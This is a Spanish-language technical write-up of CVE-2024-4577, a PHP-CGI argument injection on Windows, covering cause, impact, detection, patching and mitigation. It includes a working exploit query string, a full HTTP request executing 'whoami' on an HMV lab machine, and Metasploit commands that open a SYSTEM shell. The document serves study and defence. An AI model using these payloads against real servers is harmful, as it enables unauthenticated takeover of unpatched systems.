1. Descripción técnica del ataque
CVE-2024-4577 es una vulnerabilidad de inyección de argumentos en PHP-CGI sobre Windows que conduce a ejecución remota de código (RCE) no autenticada. Es, en esencia, un bypass de la antigua CVE-2012-1823.
El fallo está en cómo Apache (vía mod_cgi/php-cgi) pasa la query string a php-cgi.exe. En las versiones de Windows con ciertos locales (notablemente japonés (932), chino tradicional/simplificado), la conversión de caracteres ("Best-Fit") transforma el carácter guion suave 0xAD (soft hyphen) en un guion normal -. Esto permite que un atacante "inyecte" un guion donde PHP no lo esperaba, colando opciones de línea de comandos a php-cgi.exe como si fueran argumentos legítimos.
Abusando de las flags de configuración (-d), se habilita allow_url_include y se fuerza auto_prepend_file=php://input, de modo que el cuerpo de la petición se ejecuta como código PHP:
?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input2. Impacto de la vulnerabilidad
- RCE no autenticado con los privilegios del servicio web (a menudo
nt authority\systemen XAMPP por defecto). - Compromiso total del servidor sin necesidad de credenciales.
- Explotación trivial y fiable; afectó masivamente a instalaciones de XAMPP en Windows.
3. Historia y evolución
- Descubierta por Orange Tsai (DEVCORE) y publicada en junio de 2024.
- Parcheada en PHP 8.3.8, 8.2.20 y 8.1.29.
- Fue explotada in-the-wild a los pocos días (botnets, ransomware). Es ya un clásico en CTFs de máquinas Windows con XAMPP.
4. Factores que la hacen posible
- PHP-CGI en Windows (configuración por defecto de XAMPP).
- Un locale vulnerable (japonés, chino…) que activa la conversión Best-Fit
0xAD → -. - Versión de PHP previa al parche (< 8.3.8 / 8.2.20 / 8.1.29).
- (En el bypass general) PHP-CGI expuesto, aunque no esté configurado como
cgi.force_redirect.
5. Detección
- Identificar XAMPP/PHP-CGI en Windows y su versión y locale:
curl http://<ip>/xampp/.version
# 8.2.12
# LAN=日本語 → locale japonés ⇒ vulnerable- Comprobar la ejecución con un payload de prueba (ver §7).
6. Mitigación
- Actualizar PHP a 8.3.8 / 8.2.20 / 8.1.29 o superior.
- Dejar de usar la arquitectura PHP-CGI (preferir Mod-PHP, FastCGI/PHP-FPM).
- Reglas de mod_rewrite para bloquear el patrón de inyección (mitigación temporal recomendada por PHP).
- Evitar locales vulnerables si no son necesarios.
7. Ejemplo de explotación real
Máquina OMG de HMV. Verificación de RCE (devuelve el usuario del proceso):
GET /php-cgi/php-cgi.exe?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.1.12
Content-Length: 26
<?=`"whoami"`; exit();HTTP/1.1 200 OK
...
nt authority\systemShell con Metasploit:
msf6 > use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf6 ... > set rhosts 192.168.1.12
msf6 ... > run
[+] The target is vulnerable. Apache
whoami
nt authority\system8. Clasificación
- Tipo: Argument/Parameter Injection → Remote Code Execution
- CVE: CVE-2024-4577 (bypass de CVE-2012-1823)
- CWE:
- CWE-88 – Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
- CWE-78 – OS Command Injection
9. Resumen
CVE-2024-4577 abusa de la conversión Best-Fit de caracteres en Windows (locales como el japonés) para inyectar argumentos a php-cgi.exe, habilitando auto_prepend_file=php://input y logrando RCE no autenticado (típicamente como SYSTEM en XAMPP). Es un bypass de CVE-2012-1823, descubierto por Orange Tsai en 2024. La defensa es actualizar PHP y abandonar PHP-CGI.